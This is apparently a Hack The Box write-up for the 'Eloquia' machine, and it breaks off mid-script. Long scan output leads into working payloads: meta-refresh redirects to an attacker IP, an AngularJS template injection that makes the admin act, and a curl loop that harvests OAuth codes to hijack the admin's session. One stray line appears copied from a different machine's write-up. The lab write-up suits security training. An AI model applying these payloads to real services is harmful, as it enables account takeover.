POSTS

HTB: Eloquia

Eloquia is an Insane-rated Windows machine built around a blogging platform with an OAuth-based Qooqle SSO integration. Initial access abuses flaws in the OAuth consent flow, combined with an HTML redirect planted through the article/reporting system, to hijack an administrator's session. From the admin panel, a database extension-loading feature is weaponized with a malicious uploaded DLL to achieve code execution as a service account. Lateral movement recovers a second user's credentials from browser-stored data, and privilege escalation abuses a third-party IPS service that restarts on a timer, exploiting its writable directory to hijack a missing library or the service binary itself for full SYSTEM / Administrator compromise.

HTB: Eloquia
7454 words · 36 min

Overview

Attack Paths

└── Initial Access <TARGET>:80 — Eloquia Blog Platform + Qooqle SSO
    ├── Nmap: HTTP (80), WinRM (5985)
    ├── Register Eloquia account and link Qooqle SSO (OAuth2)
    ├── Identify OAuth2 consent/CSRF flaw (auto-consent, reusable session)
    ├── Plant HTML redirect + AngularJS payload in a reported article
    └── Hijack Admin's Qooqle OAuth callback via CSRF
        └── Admin session hijack — Eloquia Admin Panel access
            ├── Identify SQLite backend with load_extension() enabled
            ├── Upload malicious DLL as an article banner image
            └── Trigger load_extension() in SQL Explorer
                └── RCE as web
                    └── User Flag
                    └── Lateral Movement — web → Olivia.KAT
                        ├── Dump DPAPI-protected Edge credentials
                        └── WinRM as Olivia.KAT
                            └── Privilege Escalation — Olivia.KAT → SYSTEM
                                ├── Discover writable dir of SYSTEM-run Failure2Ban service
                                ├── Service auto-restarts every ~10 minutes
                                └── Hijack missing DLL or service binary during restart
                                    └── Payload executes as SYSTEM
                                        └── Root Flag

Enumeration

Nmap

$ nmap -sCV -Pn -p- --min-rate=1000 -T4 10.129.xx.xx   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-14 09:19 JST
Nmap scan report for 10.129.xx.xx
Host is up (0.20s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://eloquia.htb/
|_http-server-header: Microsoft-IIS/10.0
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
  • Add eloquia.htb to /etc/hosts

Vhost discovery

$ gobuster vhost --url http://eloquia.htb -t 50 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://eloquia.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 19966 / 19966 (100.00%)
===============================================================
Finished

Nothing…

Directory discovery

$ feroxbuster -u http://eloquia.htb -t 50 -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -d 1 -C 302 -C 404 -C 412 -C 500 -C 503
                                                                                
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://eloquia.htb/
 🚩  In-Scope Url          │ eloquia.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/quickhits.txt
 💢  Status Code Filters   │ [302, 404, 412, 500, 503]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET      313l      651w    11419c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/favicon.ico
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/featured-candidates/candidates-9.jpg
200      GET       22l      172w    12331c http://eloquia.htb/static/assets/images/category/category-2.png
200      GET        8l      184w    12485c http://eloquia.htb/static/assets/js/sticky-sidebar.min.js
200      GET       28l      175w    13573c http://eloquia.htb/static/assets/images/category/category-4.png
200      GET       33l      202w    13717c http://eloquia.htb/static/assets/images/category/category-5.png
200      GET        3l       14w      745c http://eloquia.htb/static/assets/images/review/layer.png
200      GET        1l       58w     3140c http://eloquia.htb/static/assets/css/owl.carousel.min.css
200      GET        2l      138w    10263c http://eloquia.htb/static/assets/js/odometer.min.js
200      GET        3l      148w     8155c http://eloquia.htb/static/assets/js/wow.min.js
200      GET        3l      468w    42323c http://eloquia.htb/static/assets/js/selectize.min.js
200      GET        9l       84w     6058c http://eloquia.htb/static/assets/js/form-validator.min.js
200      GET       27l      183w    12153c http://eloquia.htb/static/assets/images/category/category-11.png
200      GET       37l      184w    12152c http://eloquia.htb/static/assets/images/main-banner/banner-one/layer.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/page-banner/blog-banner.jpg
200      GET       27l      187w    11761c http://eloquia.htb/static/assets/images/category/category-10.png
200      GET       21l      177w    11136c http://eloquia.htb/static/assets/images/category/category-3.png
200      GET        1l       85w     2381c http://eloquia.htb/static/assets/js/jquery.ajaxchimp.min.js
200      GET      195l      371w     3738c http://eloquia.htb/static/assets/css/footer.css
200      GET       18l      131w     9357c http://eloquia.htb/static/assets/images/category/category-1.png
200      GET        1l      150w    12795c http://eloquia.htb/static/assets/css/fancybox.min.css
200      GET        1l      282w    14243c http://eloquia.htb/static/assets/js/aos.js
200      GET      890l     2910w    28672c http://eloquia.htb/static/assets/css/navbar.css
200      GET        1l       48w     3116c http://eloquia.htb/static/assets/css/odometer.min.css
200      GET       18l      157w     9939c http://eloquia.htb/static/assets/images/category/category-8.png
200      GET      107l      248w    19598c http://eloquia.htb/static/assets/images/logo-2.png
200      GET      155l      264w     3177c http://eloquia.htb/static/assets/css/flaticon.css
200      GET       17l       66w     6873c http://eloquia.htb/static/assets/images/mobile-app/shape.png
200      GET        1l      254w     9846c http://eloquia.htb/static/assets/css/dropzone.min.css
200      GET        4l       13w      594c http://eloquia.htb/static/assets/images/newsletter/layer.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/selectize.min.js
200      GET        8l       69w     2295c http://eloquia.htb/static/assets/css/metismenu.min.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/jquery.magnific-popup.min.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/newsletter/newsletter-1.png
200      GET        8l      551w    60562c http://eloquia.htb/static/assets/css/animate.min.css
200      GET       24l      189w    12699c http://eloquia.htb/static/assets/images/category/category-6.png
200      GET        1l       26w      846c http://eloquia.htb/static/assets/css/owl.theme.default.min.css
200      GET       32l      196w    14816c http://eloquia.htb/static/assets/images/category/category-9.png
200      GET      116l      937w    98516c http://eloquia.htb/static/assets/images/site-banner.jpg
200      GET        1l     1001w    48149c http://eloquia.htb/static/assets/js/dropzone.min.js
200      GET        7l      277w    44342c http://eloquia.htb/static/assets/js/owl.carousel.min.js
200      GET     2254l     5113w    53256c http://eloquia.htb/static/assets/css/responsive.css
200      GET        2l     1294w    89500c http://eloquia.htb/static/assets/js/jquery.min.js
200      GET       23l      179w    11452c http://eloquia.htb/static/assets/images/category/category-7.png
200      GET      249l      860w    62913c http://eloquia.htb/static/assets/images/main-banner/banner-one/main-banner.png
200      GET       93l      488w     5941c http://eloquia.htb/static/assets/js/jquery.meanmenu.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/owl.carousel.min.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/mobile-app/app-2.jpg
200      GET       13l      852w    68256c http://eloquia.htb/static/assets/js/fancybox.min.js
200      GET       35l       87w     1193c http://eloquia.htb/static/assets/js/contact-form-script.js
200      GET      127l      275w    19311c http://eloquia.htb/static/assets/images/logo.png
200      GET        1l      218w    26053c http://eloquia.htb/static/assets/css/aos.css
200      GET        1l       13w     2707c http://eloquia.htb/static/assets/css/simplebar.min.css
200      GET        9l       71w     4730c http://eloquia.htb/static/assets/js/metismenu.min.js
200      GET        4l      212w    20216c http://eloquia.htb/static/assets/js/jquery.magnific-popup.min.js
200      GET      345l     2066w   144031c http://eloquia.htb/static/assets/images/review/person_3.jpg
200      GET        3l       14w      745c http://eloquia.htb/static/assets/images/play-video/layer.png
200      GET      302l      826w     6930c http://eloquia.htb/static/assets/css/meanmenu.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/main.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/animate.min.css
200      GET      179l     1126w    78776c http://eloquia.htb/static/assets/images/newsletter/newsletter-1.png
200      GET       10l      826w    46448c http://eloquia.htb/static/assets/js/simplebar.min.js
200      GET        1l       67w     5235c http://eloquia.htb/static/assets/css/magnific-popup.min.css
200      GET      427l      996w    10352c http://eloquia.htb/static/assets/js/main.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/job/search
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/metismenu.min.js
200      GET      380l     2080w   178067c http://eloquia.htb/static/assets/images/page-banner/blog-banner.jpg
200      GET      235l     1678w   129974c http://eloquia.htb/static/assets/images/mobile-app/app-3.jpg
200      GET     2315l    11522w   110549c http://eloquia.htb/static/assets/css/remixicon.css
200      GET      511l     1982w   223493c http://eloquia.htb/static/assets/images/play-video/banner.jpg
200      GET      257l     1449w   149294c http://eloquia.htb/static/assets/images/review/person_2.jpg
200      GET        6l     1991w   162668c http://eloquia.htb/static/assets/css/bootstrap.min.css
200      GET        1l      205w     6638c http://eloquia.htb/static/assets/css/selectize.min.css
200      GET      151l      411w     4227c http://eloquia.htb/static/assets/js/jquery.appear.js
200      GET        1l       13w    31509c http://eloquia.htb/static/assets/images/favicon.ico
200      GET      352l     3305w   177327c http://eloquia.htb/static/assets/js/angular-1.8.2.min.js
200      GET        6l     1017w    78419c http://eloquia.htb/static/assets/js/bootstrap.bundle.min.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/blog/layer.png
200      GET       17l     1195w   116216c http://eloquia.htb/static/assets/js/TweenMax.min.js
200      GET     3452l     8120w    85469c http://eloquia.htb/static/assets/css/dashboard.css
200      GET      283l     1746w   134775c http://eloquia.htb/static/assets/images/mobile-app/app-1.jpeg
200      GET      127l      798w    53647c http://eloquia.htb/static/assets/images/review/person_1.jpg
200      GET     8721l    18849w   215148c http://eloquia.htb/static/assets/css/style.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/responsive.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/article/visit/3
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/newsletter/layer.png
200      GET     1116l     5654w   406503c http://eloquia.htb/static/assets/images/mobile-app/app-2.jpg
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/jquery.appear.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/contact-form-script.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/logo.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/article/visit/6
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/category/category-3.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/wow.min.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/style.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/image/png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/dashboard.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/bootstrap.bundle.min.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/angular-1.8.2.min.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/article/search
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/meanmenu.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/review/person_3.jpg
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/bootstrap.min.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/contact
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/category/category-11.png
200      GET     1074l     6228w   518180c http://eloquia.htb/static/assets/images/featured-candidates/candidates-9.jpg
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/main-banner/banner-one/main-banner.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/logo-2.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/review/person_1.jpg
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/magnific-popup.min.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/jquery.ajaxchimp.min.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/category/category-7.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/category/category-5.png
200      GET      821l     1736w    35822c http://eloquia.htb/
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/category/category-10.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/about
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/sticky-sidebar.min.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/account/register
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/simplebar.min.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/owl.carousel.min.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/selectize.min.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/accounts/register
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/fancybox.min.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/review/person_2.jpg
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/category/category-4.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/main-banner/banner-one/layer.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/jquery.meanmenu.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/mobile-app/app-3.jpg
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/play-video/banner.jpg
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/article/visit/8
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/navbar.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/newsletter/subscribe
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/category/category-6.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/aos.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/article/visit/1
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/metismenu.min.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/dropzone.min.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/aos.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/remixicon.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/TweenMax.min.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/flaticon.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/footer.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/dropzone.min.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/odometer.min.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/category/category-9.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/jquery.min.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/accounts/login
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/css/owl.theme.default.min.css
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/category/category-2.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/article/visit/4
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/fancybox.min.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/review/layer.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/mobile-app/app-1.jpeg
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/simplebar.min.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/article/visit/2
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/odometer.min.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/category/category-1.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/play-video/layer.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/js/form-validator.min.js
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/site-banner.jpg
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/mobile-app/shape.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/article/visit/7
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/static/assets/images/category/category-8.png
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/article/visit/5
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/article/create
200      GET      821l     1736w    35822c http://eloquia.htb/%3f/
502      GET        0l        0w        0c http://eloquia.htb/config.php-eb
502      GET        0l        0w        0c http://eloquia.htb/config/aws.yml
502      GET        0l        0w        0c http://eloquia.htb/config.rb
502      GET        0l        0w        0c http://eloquia.htb/config/config.inc.php
502      GET        0l        0w        0c http://eloquia.htb/config.php~
502      GET        0l        0w        0c http://eloquia.htb/config.old
502      GET        0l        0w        0c http://eloquia.htb/config/application.ini
502      GET        0l        0w        0c http://eloquia.htb/config.php.dist
502      GET        0l        0w        0c http://eloquia.htb/config/apc.php
502      GET        0l        0w        0c http://eloquia.htb/console/base/config.json
502      GET        0l        0w        0c http://eloquia.htb/config/config.inc.php.bak
502      GET        0l        0w        0c http://eloquia.htb/console/payments/config.json
502      GET        0l        0w        0c http://eloquia.htb/config/config.inc.php.dist
502      GET        0l        0w        0c http://eloquia.htb/config/banned_words.txt
502      GET        0l        0w        0c http://eloquia.htb/console/
[####################] - 27s     2792/2792    0s      found:180     errors:7      
[####################] - 27s     2566/2566    96/s    http://eloquia.htb/  

Found http://monitorsfour.htb/.env and http://monitorsfour.htb/user.

Initial access

Register a new account user:Azerty123! then login:

We can see, seems we have also SSO possibilities with FB or Qooqle (hummm seems interesting as looks like Google).

In Connected Accounts, we can see the possibility to maybe enable the SSO:

  • Add qooqle.htb to /etc/hosts

Create a Qooqle account user:Azerty123!:

Then click on Change then Authorize:

Our Qooqle account is linked to our Eloquia account.

When we check the requests in our Burp, we can see something that can be interesting:

Request:

POST /oauth2/authorize/?client_id=riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi&response_type=code&redirect_uri=http://eloquia.htb/accounts/oauth2/qooqle/callback/ HTTP/1.1
Host: qooqle.htb
...
Cookie: csrftoken=VjUT7wWxNN9Hl5MLErICSlNDJXMHG8OQ; sessionid=fmvcl4kiocavhyhak5o0c8ypxl7cre2h
...
csrfmiddlewaretoken=Fv4xLa3DMYbUvgx1jQF3v8z4e7mgUwMOqEOgIwP0pBarGb9CN7dvdjcxNUYNququ&redirect_uri=http%3A%2F%2Feloquia.htb%2Faccounts%2Foauth2%2Fqooqle%2Fcallback%2F&scope=read+write&nonce=&client_id=riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi&state=&response_type=code&code_challenge=&code_challenge_method=&claims=&allow=Authorize

Response:

HTTP/1.1 302 Found
Content-Type: text/html; charset=utf-8
Location: http://eloquia.htb/accounts/oauth2/qooqle/callback/?code=AL7ZGCyq7YQmeKye9huc8QkOlFf06N
...

If we create a new account and send the POST request again via the Burp repeater then we receive the response from the server before we acknowledge to authorize the link.

The POST request has these vulnerabilities:

  • The parameters code_challenge and code_challenge_method are empty.
  • claims' sent always allow=Authorize`, that means the consent is automatic.
  • A repeatedly valid active session is used then session can be reused.

What we can try to exploit is to trick the OAuth system into linking our Qooqle account to the active Admin session in Eloquia. This is achieved by a CSRF attack on the authorization flow.

We can see also it’s based on AngularJS:

When we create an article, we found that uses CKeditor and AngularJS 1.8.2:

We check the HTTP headers and see also the current CSP:

Content-Security-Policy: object-src 'none'; font-src 'self' fonts.googleapis.com fonts.gstatic.com; script-src 'self'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; default-src 'self'

Check the CSP:

Inline scripts cannot be the solution… need to forget to exploit with this way.

HTML Meta refresh tag abusing

We take a look for HTML code that can redirect to other pages.

After some research, we found some good articles:

We set a local web server:

$ python3 -m http.server 80                              
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

We create an article with an HTML Meta refresh TAG in the Rich Text Editor section:

{{'<meta http-equiv="refresh" content="0;url=http://10.10.xx.xx">'}}

OR

<meta http-equiv="refresh" content="0;url=//10.10.xx.xx:80">

Then we upload an image and publish it and we got a callback to our attacker machine:

10.10.xx.xx - - [14/Dec/2025 11:48:42] "GET / HTTP/1.1" 200 -
10.10.xx.xx - - [14/Dec/2025 11:48:42] code 404, message File not found
10.10.xx.xx - - [14/Dec/2025 11:48:42] "GET /favicon.ico HTTP/1.1" 404 -

Qooqle callback code Hijacking (admin)

When we read an article, we can see that we can report it:

When we click on Report Article! seems then maybe an admin (a bot in our box) should be trigger it for review:

Previously we saw something interesting with a possible exploitation of the link of our Qooqle account to an Admin Eloquia account but for that we need to find a way to an active Admin to check a post created by us.

We saw that we have a Comments section in a post then let’s add something in this section to get an evidence of a review by an Admin.

Let’s create a new article with the following text:

{{once||( (once=1) && (formData.comment='Blablabla') && submitForm() )}}

Then publish it:

Then report it and we can see a comment from Admin (after waiting 2 min):

Confirmed that Admin triggers our article.

Way 1 - using Burp and Bash

Then let’s merge all of our findings to hijack the qooqle callback to be logged as admin in Eloquia.

We create a new article with the following text:

<meta http-equiv="refresh" content="0;url=http://10.10.xx.xx/index.html">

We will create an index.html page including the code that linked our account that will be call when we report our article:

$ cat index.html         
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="refresh" content="0;url=http://eloquia.htb/accounts/oauth2/qooqle/callback/?code=<CODE>">
</head>
<body>
    <p>Blablabla...</p>
</body>
</html>

But we have an issue because when we enter to this article then that will be redirect to our attacker machine without the possibility to report it:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.xx.xx - - [20/Dec/2025 14:18:08] code 404, message File not found
10.10.xx.xx - - [20/Dec/2025 14:18:08] "GET /index.html HTTP/1.1" 404 -

Then we get the ID of our post:

http://eloquia.htb/article/visit/21/

We send to Repeater a previous request when we clicked on Report Article!:

GET /article/report/20/ HTTP/1.1
Host: eloquia.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://eloquia.htb/article/visit/20/
Connection: keep-alive
Cookie: csrftoken=UpQUMVc6kehBc7AZ6tbuWULfOBh7YzIJ; sessionid=ifot7ja23o2gt5ng7lo9r9u6le0p4pe4
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Then we change the Id by the Id of our article (21) where we have the redirection to our index.html page on our attacker machine:

GET /article/report/21/ HTTP/1.1
Host: eloquia.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://eloquia.htb/article/visit/20/
Connection: keep-alive
Cookie: csrftoken=UpQUMVc6kehBc7AZ6tbuWULfOBh7YzIJ; sessionid=ifot7ja23o2gt5ng7lo9r9u6le0p4pe4
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Now we will exploit following these steps:

  • Make POST requests every 5 seconds to the endpoint /oauth2/authorize/ of qooqle.htb
  • Use valid session credentials (sessionid=<SESSION_ID>)
  • Always send allow=Authorize to self-accept authorization
  • Capture the header Location that contains the redirect URL with the code
  • Generate a file index.html using JavaScript that redirects automatically

To do that:

while true ; do
  curl -s -i -X POST 'http://qooqle.htb/oauth2/authorize/?client_id=riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi&response_type=code&redirect_uri=http://eloquia.htb/accounts/oauth2/qooqle/callback/' \
    -b "csrftoken=VjUT7wWxNN9Hl5MLErICSlNDJXMHG8OQ; sessionid=fmvcl4kiocavhyhak5o0c8ypxl7cre2h" \
    -d "csrfmiddlewaretoken=Fv4xLa3DMYbUvgx1jQF3v8z4e7mgUwMOqEOgIwP0pBarGb9CN7dvdjcxNUYNququ&redirect_uri=http%3A%2F%2Feloquia.htb%2Faccounts%2Foauth2%2Fqooqle%2Fcallback%2F&scope=read+write&nonce=&client_id=riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi&state=&response_type=code&code_challenge=&code_challenge_method=&claims=&allow=Authorize" | tr -d '\r' | grep -oP 'Location: \K.*' | \
    xargs -I{} echo "<html><script>document.location='{}'</script></html>" | tee index.html ; sleep 5
done
Warning
  1. Set our local web server:
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
  1. Execute our onliner:
$ while true ; do
  curl -s -i -X POST 'http://qooqle.htb/oauth2/authorize/?client_id=riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi&response_type=code&redirect_uri=http://eloquia.htb/accounts/oauth2/qooqle/callback/' \
    -b "csrftoken=VjUT7wWxNN9Hl5MLErICSlNDJXMHG8OQ; sessionid=fmvcl4kiocavhyhak5o0c8ypxl7cre2h" \
    -d "csrfmiddlewaretoken=Fv4xLa3DMYbUvgx1jQF3v8z4e7mgUwMOqEOgIwP0pBarGb9CN7dvdjcxNUYNququ&redirect_uri=http%3A%2F%2Feloquia.htb%2Faccounts%2Foauth2%2Fqooqle%2Fcallback%2F&scope=read+write&nonce=&client_id=riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi&state=&response_type=code&code_challenge=&code_challenge_method=&claims=&allow=Authorize" | tr -d '\r' | grep -oP 'Location: \K.*' | \
    xargs -I{} echo "<html><script>document.location='{}'</script></html>" | tee index.html ; sleep 5
done
<html><script>document.location='/login/?next=/oauth2/authorize/%3Fclient_id%3DriQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi%26response_type%3Dcode%26redirect_uri%3Dhttp%3A//eloquia.htb/accounts/oauth2/qooqle/callback/'</script></html>
<html><script>document.location='/login/?next=/oauth2/authorize/%3Fclient_id%3DriQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi%26response_type%3Dcode%26redirect_uri%3Dhttp%3A//eloquia.htb/accounts/oauth2/qooqle/callback/'</script></html>
<html><script>document.location='/login/?next=/oauth2/authorize/%3Fclient_id%3DriQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi%26response_type%3Dcode%26redirect_uri%3Dhttp%3A//eloquia.htb/accounts/oauth2/qooqle/callback/'</script></html>
...
  1. Send our POST request via Repeater to our article;

Wait a moment….until we see the call from Admin to our web server:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.xx.xx - - [20/Dec/2025 14:54:41] "GET /index.html HTTP/1.1" 200 -
10.10.xx.xx - - [20/Dec/2025 14:54:42] code 404, message File not found
10.10.xx.xx - - [20/Dec/2025 14:54:42] "GET /login/?next=/oauth2/authorize/%3Fclient_id%3DriQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi%26response_type%3Dcode%26redirect_uri%3Dhttp%3A//eloquia.htb/accounts/oauth2/qooqle/callback/ HTTP/1.1" 404 -
  1. Logout from our Eloquia session:
  1. Login again to Eloquia using Qooqle, click on Authorize then we are now Admin:

We access to the Admin panel:

Way 2 - using Python

So, the goal is now to merge the both finding to grab the admin session token when we report an article then to send it to our attacker machine to be able to reuse it to login as admin.

Let’s do it, we logout our user on Eloquia and on Qooqle too.

Create a new Qooqle user pwner:Azerty123!:

Then login:

Create a new Eloquia user rpwner:Azerty123!:

Then login:

Currently our account is not connect to Qooqle:

Grab our csrftoken and sessionid:

Grab also our csrfmiddlewaretoken:

Then put them in our solver solve.py:

$ cat solve.py            
import asyncio
import httpx
import logging


logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s',
    datefmt='%H:%M:%S'
)
logger = logging.getLogger(__name__)


class Solve:
    def __init__(self, url, proxy=None):
        self.base_url = url
        self.proxy = proxy

        self.client = httpx.AsyncClient(
            base_url=self.base_url,
            verify=False,
            proxy=self.proxy,
            cookies={
                "csrftoken": "IRzD0ubNBHvGNHNTHJfV6lMdtbh7xNQM", "sessionid": "dw7jxkiefqhqjl3zaitwlor4hxa4ex9z"
